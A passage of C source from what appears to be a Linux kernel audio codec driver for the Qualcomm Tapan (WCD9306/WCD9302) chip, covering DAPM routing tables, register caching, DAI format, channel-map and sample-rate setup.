{"RX1 MIX1 INP3", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP3", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP3", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP3", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX2 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX2 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX2 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX2 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP1", "IIR1", "IIR1"},
{"RX2 MIX1 INP1", "IIR2", "IIR2"},
{"RX2 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX2 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX2 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX2 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX2 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP2", "IIR1", "IIR1"},
{"RX2 MIX1 INP2", "IIR2", "IIR2"},
{"RX3 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX3 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX3 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX3 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX3 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX3 MIX1 INP1", "IIR1", "IIR1"},
{"RX3 MIX1 INP1", "IIR2", "IIR2"},
{"RX3 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX3 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX3 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX3 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX3 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX3 MIX1 INP2", "IIR1", "IIR1"},
{"RX3 MIX1 INP2", "IIR2", "IIR2"},
{"RX1 MIX2 INP1", "IIR1", "IIR1"},
{"RX1 MIX2 INP2", "IIR1", "IIR1"},
{"RX2 MIX2 INP1", "IIR1", "IIR1"},
{"RX2 MIX2 INP2", "IIR1", "IIR1"},
{"RX1 MIX2 INP1", "IIR2", "IIR2"},
{"RX1 MIX2 INP2", "IIR2", "IIR2"},
{"RX2 MIX2 INP1", "IIR2", "IIR2"},
{"RX2 MIX2 INP2", "IIR2", "IIR2"},
/* Decimator Inputs */
{"DEC1 MUX", "ADC1", "ADC1"},
{"DEC1 MUX", "ADC2", "ADC2"},
{"DEC1 MUX", "ADC3", "ADC3"},
{"DEC1 MUX", "ADC4", "ADC4"},
{"DEC1 MUX", "DMIC1", "DMIC1"},
{"DEC1 MUX", "DMIC2", "DMIC2"},
{"DEC1 MUX", NULL, "CDC_CONN"},
{"DEC2 MUX", "ADC1", "ADC1"},
{"DEC2 MUX", "ADC2", "ADC2"},
{"DEC2 MUX", "ADC3", "ADC3"},
{"DEC2 MUX", "ADC4", "ADC4"},
{"DEC2 MUX", "DMIC1", "DMIC1"},
{"DEC2 MUX", "DMIC2", "DMIC2"},
{"DEC2 MUX", NULL, "CDC_CONN"},
/* ADC Connections */
{"ADC1", NULL, "AMIC1"},
{"ADC2", NULL, "AMIC2"},
{"ADC3", NULL, "AMIC3"},
{"ADC4", NULL, "AMIC4"},
/* AUX PGA Connections */
{"EAR_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"HPHL_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"HPHR_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"LINEOUT1_PA_MIXER", "AUX_PGA_L Switch", "AUX_PGA_Left"},
{"LINEOUT2_PA_MIXER", "AUX_PGA_R Switch", "AUX_PGA_Right"},
{"MIC BIAS1 Internal1", NULL, "LDO_H"},
{"MIC BIAS1 Internal2", NULL, "LDO_H"},
{"MIC BIAS1 External", NULL, "LDO_H"},
{"MIC BIAS2 Internal1", NULL, "LDO_H"},
{"MIC BIAS2 Internal2", NULL, "LDO_H"},
{"MIC BIAS2 Internal3", NULL, "LDO_H"},
{"MIC BIAS2 External", NULL, "LDO_H"},
{DAPM_MICBIAS2_EXTERNAL_STANDALONE, NULL, "LDO_H Standalone"},
/*sidetone path enable*/
{"IIR1", NULL, "IIR1 INP1 MUX"},
{"IIR1 INP1 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP1 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP1 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP1 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP1 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP1 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP1 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP1 MUX", "RX5", "SLIM RX5"},
{"IIR1", NULL, "IIR1 INP2 MUX"},
{"IIR1 INP2 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP2 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP2 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP2 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP2 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP2 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP2 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP2 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP2 MUX", "RX5", "SLIM RX5"},
{"IIR1", NULL, "IIR1 INP3 MUX"},
{"IIR1 INP3 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP3 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP3 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP3 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP3 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP3 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP3 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP3 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP3 MUX", "RX5", "SLIM RX5"},
{"IIR1", NULL, "IIR1 INP4 MUX"},
{"IIR1 INP4 MUX", "DEC1", "DEC1 MUX"},
{"IIR1 INP4 MUX", "DEC2", "DEC2 MUX"},
{"IIR1 INP4 MUX", "DEC3", "DEC3 MUX"},
{"IIR1 INP4 MUX", "DEC4", "DEC4 MUX"},
{"IIR1 INP4 MUX", "RX1", "SLIM RX1"},
{"IIR1 INP4 MUX", "RX2", "SLIM RX2"},
{"IIR1 INP4 MUX", "RX3", "SLIM RX3"},
{"IIR1 INP4 MUX", "RX4", "SLIM RX4"},
{"IIR1 INP4 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP1 MUX"},
{"IIR2 INP1 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP1 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP1 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP1 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP1 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP1 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP1 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP1 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP1 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP2 MUX"},
{"IIR2 INP2 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP2 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP2 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP2 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP2 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP2 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP2 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP2 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP2 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP3 MUX"},
{"IIR2 INP3 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP3 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP3 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP3 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP3 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP3 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP3 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP3 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP3 MUX", "RX5", "SLIM RX5"},
{"IIR2", NULL, "IIR2 INP4 MUX"},
{"IIR2 INP4 MUX", "DEC1", "DEC1 MUX"},
{"IIR2 INP4 MUX", "DEC2", "DEC2 MUX"},
{"IIR2 INP4 MUX", "DEC3", "DEC3 MUX"},
{"IIR2 INP4 MUX", "DEC4", "DEC4 MUX"},
{"IIR2 INP4 MUX", "RX1", "SLIM RX1"},
{"IIR2 INP4 MUX", "RX2", "SLIM RX2"},
{"IIR2 INP4 MUX", "RX3", "SLIM RX3"},
{"IIR2 INP4 MUX", "RX4", "SLIM RX4"},
{"IIR2 INP4 MUX", "RX5", "SLIM RX5"},
};
static const struct snd_soc_dapm_route wcd9302_map[] = {
{"SPK DAC", "Switch", "RX3 MIX1"},
{"RDAC5 MUX", "DEM4", "RX3 MIX1"},
{"RDAC5 MUX", "DEM3_INV", "RDAC4 MUX"},
};
static int tapan_readable(struct snd_soc_codec *ssc, unsigned int reg)
{
return tapan_reg_readable[reg];
}
static bool tapan_is_digital_gain_register(unsigned int reg)
{
bool rtn = false;
switch (reg) {
case TAPAN_A_CDC_RX1_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_RX2_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_RX3_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_RX4_VOL_CTL_B2_CTL:
case TAPAN_A_CDC_TX1_VOL_CTL_GAIN:
case TAPAN_A_CDC_TX2_VOL_CTL_GAIN:
case TAPAN_A_CDC_TX3_VOL_CTL_GAIN:
case TAPAN_A_CDC_TX4_VOL_CTL_GAIN:
rtn = true;
break;
default:
break;
}
return rtn;
}
static int tapan_volatile(struct snd_soc_codec *ssc, unsigned int reg)
{
int i = 0;
/* Registers lower than 0x100 are top level registers which can be
* written by the Tapan core driver.
*/
if ((reg >= TAPAN_A_CDC_MBHC_EN_CTL) || (reg < 0x100))
return 1;
/* IIR Coeff registers are not cacheable */
if ((reg >= TAPAN_A_CDC_IIR1_COEF_B1_CTL) &&
(reg <= TAPAN_A_CDC_IIR2_COEF_B2_CTL))
return 1;
/* ANC filter registers are not cacheable */
if ((reg >= TAPAN_A_CDC_ANC1_IIR_B1_CTL) &&
(reg <= TAPAN_A_CDC_ANC1_LPF_B2_CTL))
return 1;
if ((reg >= TAPAN_A_CDC_ANC2_IIR_B1_CTL) &&
(reg <= TAPAN_A_CDC_ANC2_LPF_B2_CTL))
return 1;
/* Digital gain register is not cacheable so we have to write
* the setting even it is the same
*/
if (tapan_is_digital_gain_register(reg))
return 1;
/* HPH status registers */
if (reg == TAPAN_A_RX_HPH_L_STATUS || reg == TAPAN_A_RX_HPH_R_STATUS)
return 1;
if (reg == TAPAN_A_MBHC_INSERT_DET_STATUS)
return 1;
for (i = 0; i < ARRAY_SIZE(audio_reg_cfg); i++)
if (audio_reg_cfg[i].reg_logical_addr -
TAPAN_REGISTER_START_OFFSET == reg)
return 1;
return 0;
}
#define TAPAN_FORMATS (SNDRV_PCM_FMTBIT_S16_LE)
#define TAPAN_FORMATS_S16_S24_LE (SNDRV_PCM_FMTBIT_S16_LE | \
SNDRV_PCM_FORMAT_S24_LE)
static int tapan_write(struct snd_soc_codec *codec, unsigned int reg,
unsigned int value)
{
int ret;
struct wcd9xxx *wcd9xxx = codec->control_data;
if (reg == SND_SOC_NOPM)
return 0;
BUG_ON(reg > TAPAN_MAX_REGISTER);
if (!tapan_volatile(codec, reg)) {
ret = snd_soc_cache_write(codec, reg, value);
if (ret != 0)
dev_err(codec->dev, "Cache write to %x failed: %d\n",
reg, ret);
}
return wcd9xxx_reg_write(&wcd9xxx->core_res, reg, value);
}
static unsigned int tapan_read(struct snd_soc_codec *codec,
unsigned int reg)
{
unsigned int val;
int ret;
struct wcd9xxx *wcd9xxx = codec->control_data;
if (reg == SND_SOC_NOPM)
return 0;
BUG_ON(reg > TAPAN_MAX_REGISTER);
if (!tapan_volatile(codec, reg) && tapan_readable(codec, reg) &&
reg < codec->driver->reg_cache_size) {
ret = snd_soc_cache_read(codec, reg, &val);
if (ret >= 0) {
return val;
} else
dev_err(codec->dev, "Cache read from %x failed: %d\n",
reg, ret);
}
val = wcd9xxx_reg_read(&wcd9xxx->core_res, reg);
return val;
}
static int tapan_startup(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
struct wcd9xxx *tapan_core = dev_get_drvdata(dai->codec->dev->parent);
dev_dbg(dai->codec->dev, "%s(): substream = %s stream = %d\n",
__func__, substream->name, substream->stream);
if ((tapan_core != NULL) &&
(tapan_core->dev != NULL) &&
(tapan_core->dev->parent != NULL))
pm_runtime_get_sync(tapan_core->dev->parent);
return 0;
}
static void tapan_shutdown(struct snd_pcm_substream *substream,
struct snd_soc_dai *dai)
{
struct wcd9xxx *tapan_core = dev_get_drvdata(dai->codec->dev->parent);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(dai->codec);
u32 active = 0;
dev_dbg(dai->codec->dev, "%s(): substream = %s stream = %d\n",
__func__, substream->name, substream->stream);
if (dai->id < NUM_CODEC_DAIS) {
if (tapan->dai[dai->id].ch_mask) {
active = 1;
dev_dbg(dai->codec->dev, "%s(): Codec DAI: chmask[%d] = 0x%lx\n",
__func__, dai->id,
tapan->dai[dai->id].ch_mask);
}
}
if ((tapan_core != NULL) &&
(tapan_core->dev != NULL) &&
(tapan_core->dev->parent != NULL) &&
(active == 0)) {
pm_runtime_mark_last_busy(tapan_core->dev->parent);
pm_runtime_put(tapan_core->dev->parent);
dev_dbg(dai->codec->dev, "%s: unvote requested", __func__);
}
}
static void tapan_set_vdd_cx_current(struct snd_soc_codec *codec,
int current_uA)
{
struct regulator *cx_regulator;
int ret;
cx_regulator = tapan_codec_find_regulator(codec,
"cdc-vdd-cx");
if (!cx_regulator) {
dev_err(codec->dev, "%s: Regulator %s not defined\n",
__func__, "cdc-vdd-cx-supply");
return;
}
ret = regulator_set_optimum_mode(cx_regulator, current_uA);
if (ret < 0)
dev_err(codec->dev,
"%s: Failed to set vdd_cx current to %d\n",
__func__, current_uA);
}
int tapan_mclk_enable(struct snd_soc_codec *codec, int mclk_enable, bool dapm)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: mclk_enable = %u, dapm = %d\n", __func__,
mclk_enable, dapm);
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
if (mclk_enable) {
tapan_set_vdd_cx_current(codec, TAPAN_VDD_CX_OPTIMAL_UA);
wcd9xxx_resmgr_get_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_get_clk_block(&tapan->resmgr, WCD9XXX_CLK_MCLK);
} else {
/* Put clock and BG */
wcd9xxx_resmgr_put_clk_block(&tapan->resmgr, WCD9XXX_CLK_MCLK);
wcd9xxx_resmgr_put_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
/* Set the vdd cx power rail sleep mode current */
tapan_set_vdd_cx_current(codec, TAPAN_VDD_CX_SLEEP_UA);
}
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
return 0;
}
static int tapan_set_dai_sysclk(struct snd_soc_dai *dai,
int clk_id, unsigned int freq, int dir)
{
dev_dbg(dai->codec->dev, "%s\n", __func__);
return 0;
}
static int tapan_set_dai_fmt(struct snd_soc_dai *dai, unsigned int fmt)
{
u8 val = 0;
struct snd_soc_codec *codec = dai->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s\n", __func__);
switch (fmt & SND_SOC_DAIFMT_MASTER_MASK) {
case SND_SOC_DAIFMT_CBS_CFS:
/* CPU is master */
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
if (dai->id == AIF1_CAP)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
TAPAN_I2S_MASTER_MODE_MASK, 0);
else if (dai->id == AIF1_PB)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
TAPAN_I2S_MASTER_MODE_MASK, 0);
}
break;
case SND_SOC_DAIFMT_CBM_CFM:
/* CPU is slave */
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
val = TAPAN_I2S_MASTER_MODE_MASK;
if (dai->id == AIF1_CAP)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL, val, val);
else if (dai->id == AIF1_PB)
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL, val, val);
}
break;
default:
return -EINVAL;
}
return 0;
}
static int tapan_set_channel_map(struct snd_soc_dai *dai,
unsigned int tx_num, unsigned int *tx_slot,
unsigned int rx_num, unsigned int *rx_slot)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(dai->codec);
struct wcd9xxx *core = dev_get_drvdata(dai->codec->dev->parent);
if (!tx_slot || !rx_slot) {
pr_err("%s: Invalid\n", __func__);
return -EINVAL;
}
dev_dbg(dai->codec->dev, "%s(): dai_name = %s DAI-ID %x\n",
__func__, dai->name, dai->id);
dev_dbg(dai->codec->dev, "%s(): tx_ch %d rx_ch %d\n intf_type %d\n",
__func__, tx_num, rx_num, tapan->intf_type);
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
wcd9xxx_init_slimslave(core, core->slim->laddr,
tx_num, tx_slot, rx_num, rx_slot);
return 0;
}
static int tapan_get_channel_map(struct snd_soc_dai *dai,
unsigned int *tx_num, unsigned int *tx_slot,
unsigned int *rx_num, unsigned int *rx_slot)
{
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(dai->codec);
u32 i = 0;
struct wcd9xxx_ch *ch;
switch (dai->id) {
case AIF1_PB:
case AIF2_PB:
case AIF3_PB:
if (!rx_slot || !rx_num) {
pr_err("%s: Invalid rx_slot %d or rx_num %d\n",
__func__, (u32) rx_slot, (u32) rx_num);
return -EINVAL;
}
list_for_each_entry(ch, &tapan_p->dai[dai->id].wcd9xxx_ch_list,
list) {
dev_dbg(dai->codec->dev, "%s: rx_slot[%d] %d, ch->ch_num %d\n",
__func__, i, rx_slot[i], ch->ch_num);
rx_slot[i++] = ch->ch_num;
}
dev_dbg(dai->codec->dev, "%s: rx_num %d\n", __func__, i);
*rx_num = i;
break;
case AIF1_CAP:
case AIF2_CAP:
case AIF3_CAP:
if (!tx_slot || !tx_num) {
pr_err("%s: Invalid tx_slot %d or tx_num %d\n",
__func__, (u32) tx_slot, (u32) tx_num);
return -EINVAL;
}
list_for_each_entry(ch, &tapan_p->dai[dai->id].wcd9xxx_ch_list,
list) {
dev_dbg(dai->codec->dev, "%s: tx_slot[%d] %d, ch->ch_num %d\n",
__func__, i, tx_slot[i], ch->ch_num);
tx_slot[i++] = ch->ch_num;
}
dev_dbg(dai->codec->dev, "%s: tx_num %d\n", __func__, i);
*tx_num = i;
break;
default:
pr_err("%s: Invalid DAI ID %x\n", __func__, dai->id);
break;
}
return 0;
}
static int tapan_set_interpolator_rate(struct snd_soc_dai *dai,
u8 rx_fs_rate_reg_val, u32 compander_fs, u32 sample_rate)
{
u32 j;
u8 rx_mix1_inp;
u16 rx_mix_1_reg_1, rx_mix_1_reg_2;
u16 rx_fs_reg;
u8 rx_mix_1_reg_1_val, rx_mix_1_reg_2_val;
u8 rdac5_mux;
struct snd_soc_codec *codec = dai->codec;
struct wcd9xxx_ch *ch;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
list_for_each_entry(ch, &tapan->dai[dai->id].wcd9xxx_ch_list, list) {
/* for RX port starting from 16 instead of 10 like tabla */
rx_mix1_inp = ch->port + RX_MIX1_INP_SEL_RX1 -
TAPAN_TX_PORT_NUMBER;
if ((rx_mix1_inp < RX_MIX1_INP_SEL_RX1) ||
(rx_mix1_inp > RX_MIX1_INP_SEL_RX5)) {
pr_err("%s: Invalid TAPAN_RX%u port. Dai ID is %d\n",
__func__, rx_mix1_inp - 5 , dai->id);
return -EINVAL;
}
rx_mix_1_reg_1 = TAPAN_A_CDC_CONN_RX1_B1_CTL;
rdac5_mux = snd_soc_read(codec, TAPAN_A_CDC_CONN_MISC);
rdac5_mux = (rdac5_mux & 0x04) >> 2;
for (j = 0; j < NUM_INTERPOLATORS; j++) {
rx_mix_1_reg_2 = rx_mix_1_reg_1 + 1;
rx_mix_1_reg_1_val = snd_soc_read(codec,
rx_mix_1_reg_1);
rx_mix_1_reg_2_val = snd_soc_read(codec,
rx_mix_1_reg_2);
if (((rx_mix_1_reg_1_val & 0x0F) == rx_mix1_inp) ||
(((rx_mix_1_reg_1_val >> 4) & 0x0F)
== rx_mix1_inp) ||
((rx_mix_1_reg_2_val & 0x0F) == rx_mix1_inp)) {
rx_fs_reg = TAPAN_A_CDC_RX1_B5_CTL + 8 * j;
dev_dbg(codec->dev, "%s: AIF_PB DAI(%d) connected to RX%u\n",
__func__, dai->id, j + 1);
dev_dbg(codec->dev, "%s: set RX%u sample rate to %u\n",
__func__, j + 1, sample_rate);
snd_soc_update_bits(codec, rx_fs_reg,
0xE0, rx_fs_rate_reg_val);
if (comp_rx_path[j] < COMPANDER_MAX) {
if ((j == 3) && (rdac5_mux == 1))
tapan->comp_fs[COMPANDER_0] =
compander_fs;
else
tapan->comp_fs[comp_rx_path[j]]
= compander_fs;
}
}
if (j <= 1)
rx_mix_1_reg_1 += 3;
else
rx_mix_1_reg_1 += 2;
}
}
return 0;
}
static int tapan_set_decimator_rate(struct snd_soc_dai *dai,
u8 tx_fs_rate_reg_val, u32 sample_rate)
{
struct snd_soc_codec *codec = dai->codec;
struct wcd9xxx_ch *ch;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u32 tx_port;
u16 tx_port_reg, tx_fs_reg;
u8 tx_port_reg_val;
s8 decimator;
list_for_each_entry(ch, &tapan->dai[dai->id].wcd9xxx_ch_list, list) {
tx_port = ch->port + 1;
dev_dbg(codec->dev, "%s: dai->id = %d, tx_port = %d",
__func__, dai->id, tx_port);
if ((tx_port < 1) || (tx_port > TAPAN_SLIM_CODEC_TX_PORTS)) {
pr_err("%s: Invalid SLIM TX%u port. DAI ID is %d\n",
__func__, tx_port, dai->id);
return -EINVAL;
}
tx_port_reg = TAPAN_A_CDC_CONN_TX_SB_B1_CTL + (tx_port - 1);
tx_port_reg_val = snd_soc_read(codec, tx_port_reg);
decimator = 0;
tx_port_reg_val = tx_port_reg_val & 0x0F;
if ((tx_port_reg_val >= 0x8) &&
(tx_port_reg_val <= 0x11)) {
decimator = (tx_port_reg_val - 0x8) + 1;
}
if (decimator) { /* SLIM_TX port has a DEC as input */
tx_fs_reg = TAPAN_A_CDC_TX1_CLK_FS_CTL +
8 * (decimator - 1);
dev_dbg(codec->dev, "%s: set DEC%u (-> SLIM_TX%u) rate to %u\n",
__func__, decimator, tx_port, sample_rate);
snd_soc_update_bits(codec, tx_fs_reg, 0x07,
tx_fs_rate_reg_val);
} else {
if ((tx_port_reg_val >= 0x1) &&
(tx_port_reg_val <= 0x4)) {
dev_dbg(codec->dev, "%s: RMIX%u going to SLIM TX%u\n",
__func__, tx_port_reg_val, tx_port);
} else if ((tx_port_reg_val >= 0x8) &&
(tx_port_reg_val <= 0x11)) {
pr_err("%s: ERROR: Should not be here\n",
__func__);
pr_err("%s: ERROR: DEC connected to SLIM TX%u\n",
__func__, tx_port);
return -EINVAL;
} else if (tx_port_reg_val == 0) {
dev_dbg(codec->dev, "%s: no signal to SLIM TX%u\n",
__func__, tx_port);
} else {
pr_err("%s: ERROR: wrong signal to SLIM TX%u\n",
__func__, tx_port);
pr_err("%s: ERROR: wrong signal = %u\n",
__func__, tx_port_reg_val);
return -EINVAL;
}
}
}
return 0;
}
static void tapan_set_rxsb_port_format(struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_codec_dai_data *cdc_dai;
struct wcd9xxx_ch *ch;
int port;
u8 bit_sel;
u16 sb_ctl_reg, field_shift;
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
bit_sel = 0x2;
tapan_p->dai[dai->id].bit_width = 16;
break;
case SNDRV_PCM_FORMAT_S24_LE:
bit_sel = 0x0;
tapan_p->dai[dai->id].bit_width = 24;
break;
default:
dev_err(codec->dev, "Invalid format %x\n",
params_format(params));
return;
}
cdc_dai = &tapan_p->dai[dai->id];
list_for_each_entry(ch, &cdc_dai->wcd9xxx_ch_list, list) {
port = wcd9xxx_get_slave_port(ch->ch_num);
if (IS_ERR_VALUE(port) ||
!TAPAN_VALIDATE_RX_SBPORT_RANGE(port)) {
dev_warn(codec->dev,
"%s: invalid port ID %d returned for RX DAI\n",
__func__, port);
return;
}
port = TAPAN_CONVERT_RX_SBPORT_ID(port);
if (port <= 3) {
sb_ctl_reg = TAPAN_A_CDC_CONN_RX_SB_B1_CTL;
field_shift = port << 1;
} else if (port <= 4) {
sb_ctl_reg = TAPAN_A_CDC_CONN_RX_SB_B2_CTL;
field_shift = (port - 4) << 1;
} else { /* should not happen */
dev_warn(codec->dev,
"%s: bad port ID %d\n", __func__, port);
return;
}
dev_dbg(codec->dev, "%s: sb_ctl_reg %x field_shift %x\n"
"bit_sel %x\n", __func__, sb_ctl_reg, field_shift,
bit_sel);
snd_soc_update_bits(codec, sb_ctl_reg, 0x3 << field_shift,
bit_sel << field_shift);
}
}
static int tapan_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(dai->codec);
u8 tx_fs_rate, rx_fs_rate;
u32 compander_fs;
int ret;
dev_dbg(dai->codec->dev, "%s: dai_name = %s DAI-ID %x rate %d num_ch %d\n",
__func__, dai->name, dai->id,
params_rate(params), params_channels(params));
switch (params_rate(params)) {
case 8000:
tx_fs_rate = 0x00;
rx_fs_rate = 0x00;
compander_fs = COMPANDER_FS_8KHZ;
break;
case 16000:
tx_fs_rate = 0x01;
rx_fs_rate = 0x20;
compander_fs = COMPANDER_FS_16KHZ;
break;
case 32000:
tx_fs_rate = 0x02;
rx_fs_rate = 0x40;
compander_fs = COMPANDER_FS_32KHZ;
break;
case 48000:
tx_fs_rate = 0x03;
rx_fs_rate = 0x60;
compander_fs = COMPANDER_FS_48KHZ;
break;
case 96000:
tx_fs_rate = 0x04;
rx_fs_rate = 0x80;
compander_fs = COMPANDER_FS_96KHZ;
break;
case 192000:
tx_fs_rate = 0x05;
rx_fs_rate = 0xA0;
compander_fs = COMPANDER_FS_192KHZ;
break;
default:
pr_err("%s: Invalid sampling rate %d\n", __func__,
params_rate(params));
return -EINVAL;
}
switch (substream->stream) {
case SNDRV_PCM_STREAM_CAPTURE:
ret = tapan_set_decimator_rate(dai, tx_fs_rate,
params_rate(params));
if (ret < 0) {
pr_err("%s: set decimator rate failed %d\n", __func__,
ret);
return ret;
}
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x20);
break;
case SNDRV_PCM_FORMAT_S32_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x00);
break;
default:
pr_err("invalid format\n");
break;
}
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_I2S_CTL,
0x07, tx_fs_rate);
} else {
tapan->dai[dai->id].rate = params_rate(params);
}
break;
case SNDRV_PCM_STREAM_PLAYBACK:
ret = tapan_set_interpolator_rate(dai, rx_fs_rate,
compander_fs,
params_rate(params));
if (ret < 0) {
dev_err(codec->dev, "%s: set decimator rate failed %d\n",
__func__, ret);
return ret;
}
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x20);
break;
case SNDRV_PCM_FORMAT_S32_LE:
snd_soc_update_bits(codec,
TAPAN_A_CDC_CLK_I2S_CTL,
0x20, 0x00);
break;
default:
dev_err(codec->dev, "invalid format\n");
break;
}
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_I2S_CTL,
0x03, (rx_fs_rate >> 0x05));
} else {
tapan_set_rxsb_port_format(params, dai);
tapan->dai[dai->id].rate = params_rate(params);
}
break;
default:
dev_err(codec->dev, "%s: Invalid stream type %d\n", __func__,
substream->stream);
return -EINVAL;
}
return 0;
}
int tapan_digital_mute(struct snd_soc_dai *dai, int mute)
{
struct snd_soc_codec *codec = NULL;
u16 tx_vol_ctl_reg = 0;
u8 decimator = 0, i;
struct tapan_priv *tapan_p;
pr_debug("%s: Digital Mute val = %d\n", __func__, mute);
if (!dai || !dai->codec) {
pr_err("%s: Invalid params\n", __func__);
return -EINVAL;
}
codec = dai->codec;
tapan_p = snd_soc_codec_get_drvdata(codec);
